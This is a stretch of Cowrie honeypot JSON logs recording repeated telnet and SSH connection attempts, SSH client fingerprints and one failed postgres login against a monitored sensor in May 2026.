{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42714,"dst_ip":"10.17.0.5","dst_port":23,"session":"015ac223b4bd","protocol":"telnet","message":"New connection: 5.196.58.99:42714 (10.17.0.5:23) [session: 015ac223b4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:04.175873Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54486,"dst_ip":"10.17.0.5","dst_port":23,"session":"70811ebd358c","protocol":"telnet","message":"New connection: 5.196.58.99:54486 (10.17.0.5:23) [session: 70811ebd358c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:04.864317Z"}
{"eventid":"cowrie.session.closed","duration":31.787456035614014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:04.896122Z","src_ip":"5.196.58.99","session":"31d4cefd182d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42694,"dst_ip":"10.17.0.5","dst_port":23,"session":"521b46fc745e","protocol":"telnet","message":"New connection: 5.196.58.99:42694 (10.17.0.5:23) [session: 521b46fc745e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:05.035990Z"}
{"eventid":"cowrie.session.closed","duration":30.438048362731934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:05.052371Z","src_ip":"5.196.58.99","session":"32385d8dcf53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56273341178894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:05.288466Z","src_ip":"5.196.58.99","session":"9e4d4a5a0afb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140447854995728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:05.356001Z","src_ip":"5.196.58.99","session":"29a2b128fd55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.349023580551147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:05.917532Z","src_ip":"5.196.58.99","session":"a93944b8f54f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845268487930298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:06.044484Z","src_ip":"5.196.58.99","session":"b0bb23aedb04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25756812095642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:06.075873Z","src_ip":"5.196.58.99","session":"2dd6290d2988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":39594,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d8dd57dca7b","protocol":"ssh","message":"New connection: 155.4.244.179:39594 (10.17.0.5:22) [session: 2d8dd57dca7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:06.284825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:06.290571Z","src_ip":"155.4.244.179","session":"2d8dd57dca7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.171581983566284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:06.831287Z","src_ip":"5.196.58.99","session":"e98574ce2029","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:06.880499Z","src_ip":"155.4.244.179","session":"2d8dd57dca7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54488,"dst_ip":"10.17.0.5","dst_port":23,"session":"06e6bfea44b5","protocol":"telnet","message":"New connection: 5.196.58.99:54488 (10.17.0.5:23) [session: 06e6bfea44b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:06.892621Z"}
{"eventid":"cowrie.session.closed","duration":30.267865419387817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:07.045641Z","src_ip":"5.196.58.99","session":"34d06c2d0129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54498,"dst_ip":"10.17.0.5","dst_port":23,"session":"b87a671b116f","protocol":"telnet","message":"New connection: 5.196.58.99:54498 (10.17.0.5:23) [session: b87a671b116f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:07.074824Z"}
{"eventid":"cowrie.session.closed","duration":30.903262615203857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:07.085329Z","src_ip":"5.196.58.99","session":"b1bd7671ce98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54504,"dst_ip":"10.17.0.5","dst_port":23,"session":"807fcab997fe","protocol":"telnet","message":"New connection: 5.196.58.99:54504 (10.17.0.5:23) [session: 807fcab997fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:07.173225Z"}
{"eventid":"cowrie.session.closed","duration":30.59561252593994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:07.205862Z","src_ip":"5.196.58.99","session":"b71151a9ae9b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"zaq12wsxcde3","message":"login attempt [postgres/zaq12wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:07.290602Z","src_ip":"155.4.244.179","session":"2d8dd57dca7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.249659061431885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:07.447186Z","src_ip":"5.196.58.99","session":"0acbbba6af1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54508,"dst_ip":"10.17.0.5","dst_port":23,"session":"15aefea988bb","protocol":"telnet","message":"New connection: 5.196.58.99:54508 (10.17.0.5:23) [session: 15aefea988bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:07.652812Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54518,"dst_ip":"10.17.0.5","dst_port":23,"session":"0600ee2eceb4","protocol":"telnet","message":"New connection: 5.196.58.99:54518 (10.17.0.5:23) [session: 0600ee2eceb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:08.012054Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54532,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dc8e85ee1cb","protocol":"telnet","message":"New connection: 5.196.58.99:54532 (10.17.0.5:23) [session: 2dc8e85ee1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:08.390540Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54544,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae1be9950ef","protocol":"telnet","message":"New connection: 5.196.58.99:54544 (10.17.0.5:23) [session: 2ae1be9950ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:08.625653Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:08.895883Z","src_ip":"155.4.244.179","session":"2d8dd57dca7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54556,"dst_ip":"10.17.0.5","dst_port":23,"session":"324d19d04cb1","protocol":"telnet","message":"New connection: 5.196.58.99:54556 (10.17.0.5:23) [session: 324d19d04cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:08.959691Z"}
{"eventid":"cowrie.session.closed","duration":31.42648148536682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:09.551446Z","src_ip":"5.196.58.99","session":"b8b8674cab1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54792094230652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:10.211439Z","src_ip":"5.196.58.99","session":"aa3358f1988a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152859449386597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:10.366057Z","src_ip":"5.196.58.99","session":"3a335aa94a10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.245195865631104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:10.671410Z","src_ip":"103.117.51.140","session":"893edbbb0f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84620690345764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:11.156824Z","src_ip":"5.196.58.99","session":"ef4155e6c321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24246835708618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:11.218908Z","src_ip":"5.196.58.99","session":"b7d307bfe1a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573350191116333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:11.287734Z","src_ip":"5.196.58.99","session":"d7d9fcc51f09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54560,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc99b66be9b5","protocol":"telnet","message":"New connection: 5.196.58.99:54560 (10.17.0.5:23) [session: cc99b66be9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:11.304839Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54574,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b3d4494e04","protocol":"telnet","message":"New connection: 5.196.58.99:54574 (10.17.0.5:23) [session: b1b3d4494e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:11.394138Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54584,"dst_ip":"10.17.0.5","dst_port":23,"session":"938391545382","protocol":"telnet","message":"New connection: 5.196.58.99:54584 (10.17.0.5:23) [session: 938391545382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:11.578780Z"}
{"eventid":"cowrie.session.closed","duration":30.948224782943726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:11.656078Z","src_ip":"5.196.58.99","session":"31ee1459592b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268734216690063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:11.727159Z","src_ip":"5.196.58.99","session":"ebdea203ded2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54586,"dst_ip":"10.17.0.5","dst_port":23,"session":"a28ad544216c","protocol":"telnet","message":"New connection: 5.196.58.99:54586 (10.17.0.5:23) [session: a28ad544216c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:11.846449Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54592,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff336b696b5e","protocol":"telnet","message":"New connection: 5.196.58.99:54592 (10.17.0.5:23) [session: ff336b696b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:12.023600Z"}
{"eventid":"cowrie.session.closed","duration":31.075708866119385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:12.408210Z","src_ip":"5.196.58.99","session":"9ff7953e4c43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54604,"dst_ip":"10.17.0.5","dst_port":23,"session":"536f50f00722","protocol":"telnet","message":"New connection: 5.196.58.99:54604 (10.17.0.5:23) [session: 536f50f00722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:13.057416Z"}
{"eventid":"cowrie.session.closed","duration":30.98313570022583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:13.097899Z","src_ip":"5.196.58.99","session":"4727fb4da0c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14492106437683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:13.141227Z","src_ip":"5.196.58.99","session":"785a6f93338c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9068386554718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:13.146192Z","src_ip":"5.196.58.99","session":"45955f17ba9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739209175109863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:13.205887Z","src_ip":"5.196.58.99","session":"b9fc521cc1b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162500381469727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:13.326870Z","src_ip":"5.196.58.99","session":"94ad4e3cdc44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54600,"dst_ip":"10.17.0.5","dst_port":23,"session":"fad151ba28bd","protocol":"telnet","message":"New connection: 5.196.58.99:54600 (10.17.0.5:23) [session: fad151ba28bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:13.357265Z"}
{"eventid":"cowrie.session.closed","duration":30.941375970840454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:13.402860Z","src_ip":"5.196.58.99","session":"f0a2dc611eeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028332471847534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:13.757447Z","src_ip":"5.196.58.99","session":"ba8bd64ba97e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.706948280334473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:14.023170Z","src_ip":"5.196.58.99","session":"b8a0696e0ef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36732,"dst_ip":"10.17.0.5","dst_port":23,"session":"9db0c3ced990","protocol":"telnet","message":"New connection: 5.196.58.99:36732 (10.17.0.5:23) [session: 9db0c3ced990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:14.057827Z"}
{"eventid":"cowrie.session.closed","duration":30.267972707748413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:14.124599Z","src_ip":"5.196.58.99","session":"f265b234bbe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36736,"dst_ip":"10.17.0.5","dst_port":23,"session":"d87a3718e16d","protocol":"telnet","message":"New connection: 5.196.58.99:36736 (10.17.0.5:23) [session: d87a3718e16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:14.208624Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36744,"dst_ip":"10.17.0.5","dst_port":23,"session":"60ef3f4f8249","protocol":"telnet","message":"New connection: 5.196.58.99:36744 (10.17.0.5:23) [session: 60ef3f4f8249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:14.654202Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36748,"dst_ip":"10.17.0.5","dst_port":23,"session":"13495b4d1d6f","protocol":"telnet","message":"New connection: 5.196.58.99:36748 (10.17.0.5:23) [session: 13495b4d1d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:14.992241Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36754,"dst_ip":"10.17.0.5","dst_port":23,"session":"f96201d7f284","protocol":"telnet","message":"New connection: 5.196.58.99:36754 (10.17.0.5:23) [session: f96201d7f284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:15.086832Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36774,"dst_ip":"10.17.0.5","dst_port":23,"session":"61da7263e78c","protocol":"telnet","message":"New connection: 5.196.58.99:36774 (10.17.0.5:23) [session: 61da7263e78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:15.972313Z"}
{"eventid":"cowrie.session.closed","duration":31.65096950531006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:16.031572Z","src_ip":"5.196.58.99","session":"f71f62ccb3a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.165879011154175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:16.368014Z","src_ip":"5.196.58.99","session":"5368fee20fb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43864130973816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:16.615254Z","src_ip":"5.196.58.99","session":"f0e5c44788da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.641122579574585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:16.686649Z","src_ip":"5.196.58.99","session":"9a6553a20867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01230525970459,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:17.019850Z","src_ip":"5.196.58.99","session":"ab4ae57e6c8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19851803779602,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:17.045279Z","src_ip":"5.196.58.99","session":"380ba9d7d1f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.816978931427002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:17.114810Z","src_ip":"5.196.58.99","session":"cc68bc72519f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36776,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a8440883778","protocol":"telnet","message":"New connection: 5.196.58.99:36776 (10.17.0.5:23) [session: 8a8440883778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:17.271787Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36794,"dst_ip":"10.17.0.5","dst_port":23,"session":"19239b457367","protocol":"telnet","message":"New connection: 5.196.58.99:36794 (10.17.0.5:23) [session: 19239b457367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:17.565630Z"}
{"eventid":"cowrie.session.closed","duration":30.09462261199951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:18.046504Z","src_ip":"5.196.58.99","session":"35466cfe8178","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685543060302734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:18.313699Z","src_ip":"5.196.58.99","session":"0c8a304fc333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36786,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b41d3376c9a","protocol":"telnet","message":"New connection: 5.196.58.99:36786 (10.17.0.5:23) [session: 8b41d3376c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:18.543043Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36806,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a342f46e768","protocol":"telnet","message":"New connection: 5.196.58.99:36806 (10.17.0.5:23) [session: 0a342f46e768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:18.589641Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36814,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe880961a36e","protocol":"telnet","message":"New connection: 5.196.58.99:36814 (10.17.0.5:23) [session: fe880961a36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:18.679430Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36820,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff8ddbdb0192","protocol":"telnet","message":"New connection: 5.196.58.99:36820 (10.17.0.5:23) [session: ff8ddbdb0192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:19.061220Z"}
{"eventid":"cowrie.session.closed","duration":30.60482096672058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:19.160578Z","src_ip":"5.196.58.99","session":"9841fac1465b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31429672241211,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:19.575307Z","src_ip":"5.196.58.99","session":"d7fd4c213699","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48682,"dst_ip":"10.17.0.5","dst_port":22,"session":"1253299ca603","protocol":"ssh","message":"New connection: 194.59.206.2:48682 (10.17.0.5:22) [session: 1253299ca603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:19.687570Z"}
